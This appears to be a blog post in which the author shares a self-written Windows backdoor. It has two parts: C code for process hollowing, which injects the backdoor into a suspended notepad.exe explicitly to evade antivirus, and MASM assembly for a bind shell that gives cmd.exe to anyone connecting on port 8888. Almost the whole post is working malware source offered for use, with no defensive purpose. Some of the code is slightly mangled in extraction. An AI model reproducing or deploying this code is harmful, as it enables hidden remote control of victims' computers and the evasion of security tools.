Well , I had to code my own backdoor from the scratch , which it has proven to be successful in evading almost all anti-virus products since it takes advantage of the process-replacement technique .
Basically , process-replacement is the act of creating a system process (e.g : csrss.exe) in suspended state , and then unmaps (deallocate) that process adresss space by calling NtUnmapViewOfsection() and maps the backdoor's content in it , and finally resuming that process execution with ResumeThread() , hence this is definitely a good strategy to bypass anti-virus detection due to the fact that the backdoor is executed in the context of a legitimate system process .
Here is the process-replacement code :
#include
#include
#define myExitError(msg) fprintf(stderr, \
"%s , (Error : %x )\n" , msg \
, GetLastError() ) ;\
ExitProcess(-1); \
#define NT_SUCCESS 0x00000000
typedef ( * NtUnmapViewOfSection) ( IN HANDLE ProcessHandle , IN PVOID BaseAddress );
typedef ( * NtWriteVirtualMemory) ( IN HANDLE ProcessHandle , IN PVOID BaseAddress , IN PVOID Buffer , IN ULONG NumberOfBytesToWrite, OUT PULONG NumberOfBytesWritten OPTIONAL );
typedef ( * NtReadVirtualMemory ) ( IN HANDLE ProcessHandle , IN PVOID BaseAddress , OUT PVOID Buffer, IN ULONG NumberOfBytesToRead,OUT PULONG NumberOfBytesReaded OPTIONAL );
typedef ( * NtResumeThread ) ( IN HANDLE ThreadHandle, OUT PULONG SuspendCount OPTIONAL ) ;
typedef ( * NtGetContextThread) ( IN HANDLE ThreadHandle , OUT PCONTEXT pContext );
typedef ( * NtSetContextThread) ( IN HANDLE ThreadHandle, IN PCONTEXT Context );
typedef ( * NtQueryInformationProcess)( HANDLE , UINT ,PVOID ,ULONG , PULONG);
int main(int argc,char* argv[])
{
NtUnmapViewOfSection myNtUnmapViewOfSection ;
NtReadVirtualMemory myNtReadVirtualMemory ;
NtWriteVirtualMemory myNtWriteVirtualMemory ;
NtResumeThread myNtResumeThread;
NtGetContextThread myNtGetContextThread;
NtSetContextThread myNtSetContextThread ;
NtQueryInformationProcess myNtQueryInformationProcess ;
HMODULE dll = LoadLibraryA("ntdll.dll");
myNtUnmapViewOfSection = (NtUnmapViewOfSection)GetProcAddress(dll,"NtUnmapViewOfSection");
myNtReadVirtualMemory = (NtReadVirtualMemory )GetProcAddress(dll,"NtReadVirtualMemory");
myNtWriteVirtualMemory = (NtWriteVirtualMemory)GetProcAddress(dll,"NtWriteVirtualMemory");
myNtSetContextThread = (NtSetContextThread)GetProcAddress(dll,"NtSetContextThread");
myNtGetContextThread = (NtGetContextThread)GetProcAddress(dll,"NtGetContextThread");
myNtResumeThread = (NtResumeThread)GetProcAddress(dll,"NtResumeThread");
myNtQueryInformationProcess =(NtQueryInformationProcess)GetProcAddress(dll,"NtQueryInformationProcess");
PVOID MyExe,Allocated,BaseAddrOfSuspendedProcess;
DWORD i,read,noDebuginherit = 0,nSizeOfFile;
HANDLE hMyExe ;
IMAGE_DOS_HEADER * IDH;
IMAGE_NT_HEADERS * INH;
IMAGE_SECTION_HEADER * ISH;
STARTUPINFO StartInfo;
PROCESS_INFORMATION ProcInfo;
CONTEXT ThreadContext;;
memset(&StartInfo,0,sizeof(StartInfo));
memset(&ProcInfo,0,sizeof(ProcInfo));
if((myNtQueryInformationProcess(GetCurrentProcess(),0x7,&noDebuginherit,4,NULL)) != NT_SUCCESS )
{
ExitProcess(-1);
}
if(!CreateProcess(NULL,"C:\\windows\\system32\\notepad.exe",NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&StartInfo,&ProcInfo))
{
myExitError("Error in creating a target process in suspended state ");
}
ThreadContext.ContextFlags=CONTEXT_FULL;
hMyExe=CreateFile("myBackdoor.exe",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if(hMyExe==INVALID_HANDLE_VALUE)
{
myExitError(" Cannot open The Backdoor ");
}
nSizeOfFile=GetFileSize(hMyExe,NULL);
MyExe = VirtualAlloc(NULL,nSizeOfFile,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
ReadFile(hMyExe,MyExe,nSizeOfFile,&read,NULL) ;
IDH=(PIMAGE_DOS_HEADER)MyExe;
INH=(PIMAGE_NT_HEADERS)((LPBYTE)MyExe+IDH->e_lfanew);
myNtGetContextThread(ProcInfo.hThread,&ThreadContext);
myNtReadVirtualMemory(ProcInfo.hProcess,(PVOID)(ThreadContext.Ebx+8),&BaseAddrOfSuspendedProcess,sizeof(PVOID),NULL);
if((DWORD)BaseAddrOfSuspendedProcess == INH->OptionalHeader.ImageBase)
{
myNtUnmapViewOfSection(ProcInfo.hProcess,BaseAddrOfSuspendedProcess);
printf("Unmapping Target Exe starting from %x \n",BaseAddrOfSuspendedProcess);
}
Allocated=VirtualAllocEx(ProcInfo.hProcess,(PVOID)INH->OptionalHeader.ImageBase,INH->OptionalHeader.SizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(Allocated != INH->OptionalHeader.ImageBase)
{
printf("Cannot allocate memory in at %X in target process !! \n",INH->OptionalHeader.ImageBase);
ExitProcess(-1);
}
if(myNtWriteVirtualMemory(ProcInfo.hProcess,Allocated,MyExe,INH->OptionalHeader.SizeOfHeaders,NULL) != NT_SUCCESS )
{
myExitError("Cannot write in target address space ");
}
for(i=0; iFileHeader.NumberOfSections; i++)
{
ISH=(PIMAGE_SECTION_HEADER)((LPBYTE)MyExe+IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+(i*sizeof(IMAGE_SECTION_HEADER)));
myNtWriteVirtualMemory(ProcInfo.hProcess,(PVOID)((LPBYTE)Allocated+ISH->VirtualAddress),(PVOID)((LPBYTE)MyExe+ISH->PointerToRawData),ISH->SizeOfRawData,NULL);
}
ThreadContext.Eax=(DWORD)((LPBYTE)Allocated+INH->OptionalHeader.AddressOfEntryPoint);
printf(" New entry point: %x \n",ThreadContext.Eax);
myNtWriteVirtualMemory(ProcInfo.hProcess,(PVOID)(ThreadContext.Ebx+8),&INH->OptionalHeader.ImageBase,sizeof(PVOID),NULL);
myNtSetContextThread(ProcInfo.hThread,&ThreadContext);
if(myNtResumeThread(ProcInfo.hThread,NULL) != NT_SUCCESS )
{
myExitError("Cannot Resume Thread ");
}
return 0;
}
Because the size matters , then I decided to code the backdoor in assembly (MASM):
.386
.model flat,stdcall
option casemap:none
;------------Block 2----------
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
includelib ws2_32.lib
include ws2_32.inc
.data
msg db "message",0
msg1 db "title",0
error db "error",0
binderror db "cannot bind",0
cmd db "cmd.exe",0
processerror db "cannot create process",0
sockerror db "error in creating a socket ",0
er db "%d-",0
.data?
sa WSADATA <>
pi PROCESS_INFORMATION <>
sii STARTUPINFO <>
client sockaddr_in <>
sock HANDLE ?
newsock HANDLE ?
sizee DWORD ?
sec db 32 dup(?)
.code
start :
mov eax , offset sii.cb
mov dword ptr [eax] , 0
xor eax ,eax
mov eax , offset sii.dwFlags
mov dword ptr [eax] , STARTF_USESTDHANDLES
mov ecx , sizeof(PROCESS_INFORMATION)
mov eax , offset pi
zero :
mov byte ptr [eax], 0
dec eax
dec ecx
cmp ecx ,0
jne zero
invoke WSAStartup ,101h ,addr sa ;0x202 is makeword(2,2)
invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,NULL,NULL
.if eax == -1
invoke MessageBox,NULL, addr sockerror ,addr error,NULL
invoke GetLastError
invoke wsprintf,addr sec , addr er , eax
invoke ExitProcess,-1
.endif
mov sock ,eax
mov [client.sin_family] ,AF_INET
mov dword ptr [client.sin_port] , htons(8888) ; port 24628
mov [client.sin_addr] , INADDR_ANY
invoke bind,sock ,ADDR client , SIZEOF client
.if eax != 0
invoke MessageBox,NULL, addr binderror ,addr error , NULL
invoke GetLastError
invoke wsprintf,addr sec , addr er , eax
invoke ExitProcess,-1
.endif
invoke listen,sock,5
xor eax ,eax
mov sizee , 10h
invoke accept,sock , addr client ,addr sizee
mov newsock,eax
mov [sii.hStdError] , eax
mov [sii.hStdInput] , eax
mov [sii.hStdOutput] , eax
invoke CreateProcess,NULL,addr cmd , 0,0,TRUE,0,0,0,addr sii,addr pi
cmp eax , 0
jne success
invoke MessageBox,NULL, addr processerror ,addr error ,NULL
success :
xor eax,eax
invoke ExitProcess,NULL
end start
Get the latest posts delivered right to your inbox.